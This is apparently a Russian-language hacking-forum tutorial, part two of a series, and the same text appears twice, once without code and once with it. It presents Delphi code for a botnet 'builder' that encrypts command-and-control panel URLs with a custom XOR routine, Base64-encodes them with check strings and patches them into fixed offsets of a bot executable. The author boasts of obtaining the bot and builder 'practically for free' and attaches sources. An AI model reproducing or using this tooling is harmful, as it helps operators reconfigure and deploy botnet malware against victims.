Часть1
Часть2
Ну вот, отдохнув слегка, можно вернуться к нашему билдеру :P
В предыдущих темах мы разобрались с алгоритмами шифровки и валидации закодированных данных, теперь допишем завершающий код, который будет записывать нашу админку в бинариник бота.
В основе этого будет лежать:
- сборка строки с данными из 3-х URL для админок и проверочными данными
- шифрование
- кодирование Base64
Для шифрования используется функция:
Ключи для шифровки были объявлены в предыдущей статье. Напишем следующий обработчик для кнопки Write:
- локальные переменные:
- обработчик:
Данный код делает следующее:
- т.к пространство под данные у нас ограниченно, и чтобы не перезаписать другие данные учитываем ограничение размером $CB
- также следует учесть, что длина URL каждой админки тоже фиксированная, поэтому учитываем длину до 32 символов
- копируем исходный бинарник бота с новым именем
- собираем строку данных и переворачиваем, тут вместо трех разных админок я сделал одну, но изменить это не составит труда
- добавляем к строке проверочные данные, уже перевернутые
- шифруем и кодируем
- считаем длину получившейся строки, и если она больше $CB (всякое бывает), то ничего дальше не делаем
- подготавливаем буфер данных и заполняем его нулями, это нужно, чтобы перезаписать все необходимые данные нашими данными
- перемещаем строку в буфер
- открываем скопированный файл на запись, устанавливаем указатель на 4 байта левее, это для того, чтобы записать длину строки, смещаемся обратно и записываем данные буфера
- если записанные данные соответствуют размеру $CB, то получаем "письмо счастья"
Ну вот и все, мы стали обладателями бота и билдера, практически бесплатно B)
В аттаче сорцы под Delphi 6 :yes2:
Часть2
Ну вот, отдохнув слегка, можно вернуться к нашему билдеру :P
В предыдущих темах мы разобрались с алгоритмами шифровки и валидации закодированных данных, теперь допишем завершающий код, который будет записывать нашу админку в бинариник бота.
В основе этого будет лежать:
- сборка строки с данными из 3-х URL для админок и проверочными данными
- шифрование
- кодирование Base64
Для шифрования используется функция:
Код:
function Encrypt(const InString: string; StartKey, MultKey, AddKey: Integer):
string;
var
I: Byte;
// Если поменять тип переменной I на Integer, то будет возможно
// шифрование текста длиной более 255 символом - VID.
begin
Result := '';
for I := 1 to Length(InString) do
begin
Result := Result + CHAR(Byte(InString[I]) xor (StartKey shr 8));
StartKey := (Byte(Result[I]) + StartKey) * MultKey + AddKey;
end;
end;
Ключи для шифровки были объявлены в предыдущей статье. Напишем следующий обработчик для кнопки Write:
- локальные переменные:
Код:
var
hFile,write,size: cardinal;
s: string;
data: array [1..$CB] of byte;
- обработчик:
Код:
if (Edit1.Text<>'') and (Length(Edit1.Text)<32) then
begin
CopyFile(fn,pchar(fn+'.exe'),false);
s:=Edit1.Text+'@1@'+Edit1.Text+'@2@'+Edit1.Text;
s:=ReverseString(s);
s:='1102.40.90@5@527065275@4@g8@3@'+s+'_@70y@00@r55%007_@@';
s:=Encode(Encrypt(s,StartKey,MultKey,AddKey));
size:=Length(s);
if size>$CB then exit;
FillChar(data,SizeOf(data),0);
Move(pointer(s)^,data,size);
hFile:=CreateFile(pChar(fn+'.exe'),GENERIC_READ or GENERIC_WRITE,
FILE_SHARE_READ or FILE_SHARE_WRITE,nil,OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL,0);
if (hFile<>INVALID_HANDLE_VALUE) then
begin
SetFilePointer(hFile,$4290,nil,FILE_BEGIN);
WriteFile(hfile,size,4,write,nil);
SetFilePointer(hFile,$4294,nil,FILE_BEGIN);
WriteFile(hfile,data,SizeOf(data),write,nil);
CloseHandle(hFile);
if write=$CB then MessageBox(0,pchar('Check - '+fn+'.exe'),'Done',32);
end;
end;
Данный код делает следующее:
- т.к пространство под данные у нас ограниченно, и чтобы не перезаписать другие данные учитываем ограничение размером $CB
- также следует учесть, что длина URL каждой админки тоже фиксированная, поэтому учитываем длину до 32 символов
- копируем исходный бинарник бота с новым именем
- собираем строку данных и переворачиваем, тут вместо трех разных админок я сделал одну, но изменить это не составит труда
- добавляем к строке проверочные данные, уже перевернутые
- шифруем и кодируем
- считаем длину получившейся строки, и если она больше $CB (всякое бывает), то ничего дальше не делаем
- подготавливаем буфер данных и заполняем его нулями, это нужно, чтобы перезаписать все необходимые данные нашими данными
- перемещаем строку в буфер
- открываем скопированный файл на запись, устанавливаем указатель на 4 байта левее, это для того, чтобы записать длину строки, смещаемся обратно и записываем данные буфера
- если записанные данные соответствуют размеру $CB, то получаем "письмо счастья"
Ну вот и все, мы стали обладателями бота и билдера, практически бесплатно B)
В аттаче сорцы под Delphi 6 :yes2: